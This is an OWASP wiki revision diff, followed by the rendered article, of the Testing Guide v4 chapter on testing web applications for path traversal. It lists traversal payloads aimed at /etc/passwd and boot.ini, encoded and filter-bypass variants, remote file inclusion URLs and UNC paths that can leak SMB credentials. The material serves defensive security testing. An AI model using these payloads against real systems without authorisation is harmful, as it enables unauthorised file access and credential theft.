Difference between revisions of "Testing for Path Traversal (OWASP-AZ-001)"

From OWASP
Jump to: navigation, search
m (Brief Summary)
(19 intermediate revisions by 6 users not shown)
Line 1: Line 1:
{{Template:OWASP Testing Guide v3}}
+
{{Template:OWASP Testing Guide v4}}
  
 
== Brief Summary ==
 
== Brief Summary ==
Line 12: Line 12:
  
 
See the OWASP article on [[Relative Path Traversal]] Vulnerabilities.
 
See the OWASP article on [[Relative Path Traversal]] Vulnerabilities.
[[Category:FIXME|These both go here? Or should relative path traversal go in the related links section?]]
 
  
 
===How to Avoid Path Traversal Vulnerabilities===
 
===How to Avoid Path Traversal Vulnerabilities===
Line 21: Line 20:
  
 
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for Path Traversal  |Review Code for Path Traversal ]] Vulnerabilities.
 
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for Path Traversal  |Review Code for Path Traversal ]] Vulnerabilities.
[[Category:FIXME|I do not see an article in the Code Review Guide]]
 
 
 
  
 
== Description of the Issue ==  
 
== Description of the Issue ==  
[[Category:FIXME|This whole section should probably go in the ASDR]]
+
Traditionally, web servers and web applications implement authentication mechanisms in order to control access to files and resources.  
Traditionally web servers and web applications implement authentication mechanisms in order to control access to files and resources.  
+
 
Web servers try to confine users' files inside a "root directory" or "web document root" which represent a physical directory on the file system; users have to consider this directory as the base directory into the hierarchical structure of the web application.  
 
Web servers try to confine users' files inside a "root directory" or "web document root" which represent a physical directory on the file system; users have to consider this directory as the base directory into the hierarchical structure of the web application.  
The definition of the privileges is made using ''Access Control Lists'' (ACL) that identify which users or groups are supposed to be able to access, modify or execute a specific file on the server.
+
The definition of the privileges is made using ''Access Control Lists'' (ACL) which identify which users or groups are supposed to be able to access, modify, or execute a specific file on the server.
These mechanisms are designed to prevent access to sensitive files from malicious users (example: the common ''/etc/passwd'' on a Unix-like platform) or to avoid the execution of system commands.
+
These mechanisms are designed to prevent access to sensitive files from malicious users (for example, the common ''/etc/passwd'' file on a Unix-like platform) or to avoid the execution of system commands.
  
Many web applications use server-side scripts to include different kinds of files: it is quite common to use this method to manage graphics, templates, load static texts, and so on. Unfortunately, these applications expose security vulnerabilities if input parameters (i.e. form parameters, cookies values) are not correctly validated.  
+
Many web applications use server-side scripts to include different kinds of files: it is quite common to use this method to manage graphics, templates, load static texts, and so on. Unfortunately, these applications expose security vulnerabilities if input parameters (i.e., form parameters, cookie values) are not correctly validated.  
  
In web servers and web applications, this kind of problem arises in directory traversal/file include attacks; exploiting this kind of vulnerability an attacker is able read directories or files which he/she normally couldn't read, access data outside the web document root, or include scripts and other kinds of files from external websites.   
+
In web servers and web applications, this kind of problem arises in path traversal/file include attacks. By exploiting this kind of vulnerability, an attacker is able to read directories or files which he/she normally couldn't read, access data outside the web document root, or include scripts and other kinds of files from external websites.   
  
For the purpose of the OWASP Testing Guide, we will just consider the security threats related to web applications and not to web servers (i.e. the infamous "%5c escape code" into Microsoft IIS web server). We will provide further reading suggestions in the references section, for interested readers.  
+
For the purpose of the OWASP Testing Guide, we will just consider the security threats related to web applications and not to web servers (e.g., the infamous "%5c escape code" into Microsoft IIS web server). We will provide further reading suggestions in the references section, for interested readers.  
  
 
This kind of attack is also known as the '''dot-dot-slash''' attack (../), '''directory traversal''', '''directory climbing''', or '''backtracking'''.
 
This kind of attack is also known as the '''dot-dot-slash''' attack (../), '''directory traversal''', '''directory climbing''', or '''backtracking'''.
  
During an assessment, in order to discover directory traversal and file include flaws, we need to perform two different stages:   
+
During an assessment, in order to discover path traversal and file include flaws, we need to perform two different stages:   
 
* ('''a''') '''Input Vectors Enumeration''' (a systematic evaluation of each input vector)
 
* ('''a''') '''Input Vectors Enumeration''' (a systematic evaluation of each input vector)
* ('''b''') '''Testing Techniques''' (a methodical evaluation of each attack technique used by an aggressor to exploit the vulnerability)
+
* ('''b''') '''Testing Techniques''' (a methodical evaluation of each attack technique used by an attacker to exploit the vulnerability)
 
<br>
 
<br>
  
Line 49: Line 44:
 
In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application which accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms.  
 
In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application which accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms.  
  
Examples of checks to be performed at this stage include:
+
Here are some examples of the checks to be performed at this stage:
  
* Parameters which you could recognize as file related HTTP requests?  
+
* Are there request parameters which could be used for file-related operations?  
* Strange file extensions?  
+
* Are there unusual file extensions?  
* Interesting variable names?   
+
* Are there interesting variable names?   
 
<pre>
 
<pre>
 
http://example.com/getUserProfile.jsp?item=ikki.html
 
http://example.com/getUserProfile.jsp?item=ikki.html
Line 70: Line 65:
 
('''b''') '''Testing Techniques'''
 
('''b''') '''Testing Techniques'''
  
The next stage of testing is analyzing the input validation functions present into the web application.
+
The next stage of testing is analyzing the input validation functions present in the web application.
  
 
Using the previous example, the dynamic page called ''getUserProfile.jsp'' loads static information from a file, showing the content to users. An attacker could insert the malicious string "''../../../../etc/passwd''" to include the password hash file of a Linux/Unix system.
 
Using the previous example, the dynamic page called ''getUserProfile.jsp'' loads static information from a file, showing the content to users. An attacker could insert the malicious string "''../../../../etc/passwd''" to include the password hash file of a Linux/Unix system.
Obviously this kind of attack is possible only if the validation checkpoint fails; according to the filesystem privileges, the web application itself must be able to read the file.
+
Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the filesystem privileges, the web application itself must be able to read the file.
  
 
To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from an IIS web server.
 
To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from an IIS web server.
Line 86: Line 81:
 
</pre>
 
</pre>
  
It's also possible to include files, and scripts, located on external website.  
+
It's also possible to include files and scripts located on external website.  
 
<pre>
 
<pre>
 
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
 
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
Line 110: Line 105:
 
</pre>
 
</pre>
  
''Windows OS'':
+
''Windows OS' Shell':
 
<pre>
 
<pre>
 
root directory: "<drive letter>:\"   
 
root directory: "<drive letter>:\"   
directory separator: "\" but also "/"  
+
directory separator: "\" or "/"
 
</pre>
 
</pre>
(Usually on Windows, the directory traversal attack is limited to a single partition.)
 
  
 
''Classic Mac OS'':
 
''Classic Mac OS'':
Line 125: Line 119:
 
We should take in account the following chars encoding:
 
We should take in account the following chars encoding:
  
* URL encoding e double URL encoding
+
* URL encoding and double URL encoding
  
 
<pre>
 
<pre>
Line 138: Line 132:
 
</pre>
 
</pre>
  
* Unicode/UTF-8 Encoding (It just works in systems which are able to accept overlong UTF-8 sequences)
+
* Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)
  
 
<pre>
 
<pre>
Line 145: Line 139:
 
</pre>
 
</pre>
 
<br>
 
<br>
 +
 +
There are other OS and application framework specific considerations as well. For instance, Windows is flexible in its parsing of file paths.
 +
 +
''Windows shell''
 +
<pre>
 +
Appending any of the following to paths used in a shell command results in no difference in function:
 +
 +
Angle brackets ">" and "<" at the end of the path
 +
Double quotes (closed properly) at the end of the path
 +
Extraneous current directory markers such as "./" or ".\"
 +
Extraneous parent directory markers with arbitrary items that may or may not exist
 +
 +
Examples:
 +
 +
– file.txt
 +
– file.txt...
 +
– file.txt<spaces>
 +
– file.txt””””
 +
– file.txt<<<>>><
 +
– ./././file.txt
 +
– nonexistant/../file.txt
 +
</pre>
 +
 +
''Windows API''
 +
<pre>
 +
The following items are discarded when used in any shell command or API call where a string is taken as a filename:
 +
 +
periods
 +
spaces
 +
</pre>
 +
 +
''Windows UNC Filepaths''
 +
<pre>
 +
Used to reference files on SMB shares. Sometimes, an application can be made to refer to files on
 +
a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker,
 +
which can be captured and cracked. These may also be used with a self-referential IP address or
 +
domain name to evade filters, or used to access files on SMB shares inaccessible to the attacker,
 +
but accessible from the web server.
 +
 +
\\server_or_ip\path\to\file.abc
 +
\\?\server_or_ip\path\to\file.abc
 +
</pre>
 +
 +
''Windows NT Device Namespace''
 +
<pre>
 +
Used to refer to the Windows device namespace. Certain references will allow access to filesystems using a different path.
 +
\\.\GLOBALROOT\Device\HarddiskVolume1\
 +
-May be equivalent to a drive letter such as c:\, or even a drive volume without an assigned letter.
 +
\\.\CdRom0\
 +
-Refers to the first disc drive on the machine.
 +
</pre>
  
 
== Gray Box testing and example ==  
 
== Gray Box testing and example ==  
 
When the analysis is performed with a Gray Box approach, we have to follow the same methodology as in Black Box Testing. However, since we can review the source code, it is possible to search the input vectors (''stage ('''a''') of the testing'') more easily and accurately.
 
When the analysis is performed with a Gray Box approach, we have to follow the same methodology as in Black Box Testing. However, since we can review the source code, it is possible to search the input vectors (''stage ('''a''') of the testing'') more easily and accurately.
During a source code review we can use simple tools (such as the ''grep'' command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.
+
During a source code review, we can use simple tools (such as the ''grep'' command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.
  
 
<pre>
 
<pre>
Line 156: Line 201:
 
</pre>
 
</pre>
  
Using online code search engines (Google CodeSearch[http://www.google.com/codesearch], Koders[http://www.koders.com/]) it may also be possible to find directory traversal flaws in OpenSource software published on the Internet.
+
Using online code search engines (e.g., Google CodeSearch[http://www.google.com/codesearch], Koders[http://www.koders.com/]), it may also be possible to find path traversal flaws in OpenSource software published on the Internet.
  
 
For PHP, we can use:
 
For PHP, we can use:
Line 165: Line 210:
 
Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard Black Box assessment.  
 
Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard Black Box assessment.  
  
Some web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted directory traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and "safe" but otherwise they are not.  
+
Some web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and "safe", but otherwise they are not.  
  
 
Additionally, reviewing the source code, it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.
 
Additionally, reviewing the source code, it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.
  
Considering a web application with these instructions:
+
Consider a web application with these instructions:
 
<pre>
 
<pre>
 
filename = Request.QueryString(“file”);  
 
filename = Request.QueryString(“file”);  
Line 189: Line 234:
 
* phpBB Attachment Mod Directory Traversal HTTP POST Injection -
 
* phpBB Attachment Mod Directory Traversal HTTP POST Injection -
 
http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.html[http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.html]
 
http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.html[http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.html]
 +
* Windows File Pseudonyms: Pwnage and Poetry - http://www.slideshare.net/BaronZor/windows-file-pseudonyms[http://www.slideshare.net/BaronZor/windows-file-pseudonyms]
 
<br>
 
<br>
 
'''Tools'''
 
'''Tools'''
 +
* DotDotPwn - The Directory Traversal Fuzzer - http://dotdotpwn.sectester.net
 +
* Path Traversal Fuzz Strings (from WFuzz Tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/Traversal.txt
 
* Web Proxy (''Burp Suite''[http://portswigger.net], ''Paros''[http://www.parosproxy.org/index.shtml], ''WebScarab''[http://www.owasp.org/index.php/OWASP_WebScarab_Project])  
 
* Web Proxy (''Burp Suite''[http://portswigger.net], ''Paros''[http://www.parosproxy.org/index.shtml], ''WebScarab''[http://www.owasp.org/index.php/OWASP_WebScarab_Project])  
 
* Enconding/Decoding tools  
 
* Enconding/Decoding tools  
 
* String searcher "grep" - http://www.gnu.org/software/grep/
 
* String searcher "grep" - http://www.gnu.org/software/grep/
 
<br>
 
<br>

Revision as of 09:47, 16 October 2012

This article is part of the new OWASP Testing Guide v4. 
At the moment the project is in the REVIEW phase.

Back to the OWASP Testing Guide v4 ToC: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents Back to the OWASP Testing Guide Project: http://www.owasp.org/index.php/OWASP_Testing_Project

Contents


Brief Summary

Many web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read/write files that are not intended to be accessible. In particular situations, it could be possible to execute arbitrary code or system commands.

Related Security Activities

Description of Path Traversal Vulnerabilities

See the OWASP article on Path Traversal Vulnerabilities.

See the OWASP article on Relative Path Traversal Vulnerabilities.

How to Avoid Path Traversal Vulnerabilities

See the OWASP Guide article on how to Avoid Path Traversal Vulnerabilities.

How to Review Code for Path Traversal Vulnerabilities

See the OWASP Code Review Guide article on how to Review Code for Path Traversal Vulnerabilities.

Description of the Issue

Traditionally, web servers and web applications implement authentication mechanisms in order to control access to files and resources. Web servers try to confine users' files inside a "root directory" or "web document root" which represent a physical directory on the file system; users have to consider this directory as the base directory into the hierarchical structure of the web application. The definition of the privileges is made using Access Control Lists (ACL) which identify which users or groups are supposed to be able to access, modify, or execute a specific file on the server. These mechanisms are designed to prevent access to sensitive files from malicious users (for example, the common /etc/passwd file on a Unix-like platform) or to avoid the execution of system commands.

Many web applications use server-side scripts to include different kinds of files: it is quite common to use this method to manage graphics, templates, load static texts, and so on. Unfortunately, these applications expose security vulnerabilities if input parameters (i.e., form parameters, cookie values) are not correctly validated.

In web servers and web applications, this kind of problem arises in path traversal/file include attacks. By exploiting this kind of vulnerability, an attacker is able to read directories or files which he/she normally couldn't read, access data outside the web document root, or include scripts and other kinds of files from external websites.

For the purpose of the OWASP Testing Guide, we will just consider the security threats related to web applications and not to web servers (e.g., the infamous "%5c escape code" into Microsoft IIS web server). We will provide further reading suggestions in the references section, for interested readers.

This kind of attack is also known as the dot-dot-slash attack (../), directory traversal, directory climbing, or backtracking.

During an assessment, in order to discover path traversal and file include flaws, we need to perform two different stages:

  • (a) Input Vectors Enumeration (a systematic evaluation of each input vector)
  • (b) Testing Techniques (a methodical evaluation of each attack technique used by an attacker to exploit the vulnerability)


Black Box testing and example

(a) Input Vectors Enumeration
In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application which accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms.

Here are some examples of the checks to be performed at this stage:

  • Are there request parameters which could be used for file-related operations?
  • Are there unusual file extensions?
  • Are there interesting variable names?
http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm
  • Is it possible to identify cookies used by the web application for the dynamic generation of pages/templates?
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed


(b) Testing Techniques

The next stage of testing is analyzing the input validation functions present in the web application.

Using the previous example, the dynamic page called getUserProfile.jsp loads static information from a file, showing the content to users. An attacker could insert the malicious string "../../../../etc/passwd" to include the password hash file of a Linux/Unix system. Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the filesystem privileges, the web application itself must be able to read the file.

To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from an IIS web server.

http://example.com/getUserProfile.jsp?item=../../../../etc/passwd

For the cookies example, we have:

Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd

It's also possible to include files and scripts located on external website.

http://example.com/index.php?file=http://www.owasp.org/malicioustxt

The following example will demonstrate how it is possible to show the source code of a CGI component, without using any path traversal chars.

http://example.com/main.cgi?home=main.cgi

The component called "main.cgi" is located in the same directory as the normal HTML static files used by the application. In some cases the tester needs to encode the requests using special characters (like the "." dot, "%00" null, ...) in order to bypass file extension controls or to prevent script execution.

Tip It's a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first your test string isn't successful, try another encoding scheme.

Each operating system uses different chars as path separator:

Unix-like OS:

root directory: "/" 
directory separator: "/" 

Windows OS' Shell':

root directory: "<drive letter>:\"  
directory separator: "\" or "/"

Classic Mac OS:

root directory: "<drive letter>:" 
directory separator: ":" 


We should take in account the following chars encoding:

  • URL encoding and double URL encoding
%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../
%2e%2e%5c represents ..\
%2e%2e\ represents ..\
..%5c represents ..\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.
  • Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)
..%c0%af represents ../
..%c1%9c represents ..\


There are other OS and application framework specific considerations as well. For instance, Windows is flexible in its parsing of file paths.

Windows shell

Appending any of the following to paths used in a shell command results in no difference in function:

Angle brackets ">" and "<" at the end of the path
Double quotes (closed properly) at the end of the path
Extraneous current directory markers such as "./" or ".\" 
Extraneous parent directory markers with arbitrary items that may or may not exist

Examples:

– file.txt 
– file.txt...
– file.txt<spaces> 
– file.txt”””” 
– file.txt<<<>>>< 
– ./././file.txt
– nonexistant/../file.txt 

Windows API

The following items are discarded when used in any shell command or API call where a string is taken as a filename:

periods
spaces

Windows UNC Filepaths

Used to reference files on SMB shares. Sometimes, an application can be made to refer to files on
a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker,
which can be captured and cracked. These may also be used with a self-referential IP address or
domain name to evade filters, or used to access files on SMB shares inaccessible to the attacker,
but accessible from the web server.

\\server_or_ip\path\to\file.abc
\\?\server_or_ip\path\to\file.abc

Windows NT Device Namespace

Used to refer to the Windows device namespace. Certain references will allow access to filesystems using a different path.
\\.\GLOBALROOT\Device\HarddiskVolume1\
-May be equivalent to a drive letter such as c:\, or even a drive volume without an assigned letter.
\\.\CdRom0\
-Refers to the first disc drive on the machine.

Gray Box testing and example

When the analysis is performed with a Gray Box approach, we have to follow the same methodology as in Black Box Testing. However, since we can review the source code, it is possible to search the input vectors (stage (a) of the testing) more easily and accurately. During a source code review, we can use simple tools (such as the grep command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.

PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ... 
JSP/Servlet: java.io.File(), java.io.FileReader(), ...
ASP: include file, include virtual, ...

Using online code search engines (e.g., Google CodeSearch[1], Koders[2]), it may also be possible to find path traversal flaws in OpenSource software published on the Internet.

For PHP, we can use:

lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)


Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard Black Box assessment.

Some web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and "safe", but otherwise they are not.

Additionally, reviewing the source code, it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.

Consider a web application with these instructions:

filename = Request.QueryString(“file”); 
Replace(filename, “/”,”\”); 
Replace(filename, “..\”,””);

Testing for the flaw is achieved by:

file=....//....//boot.ini 
file=....\\....\\boot.ini 
file= ..\..\boot.ini 


References

Whitepapers

http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.html[4]


Tools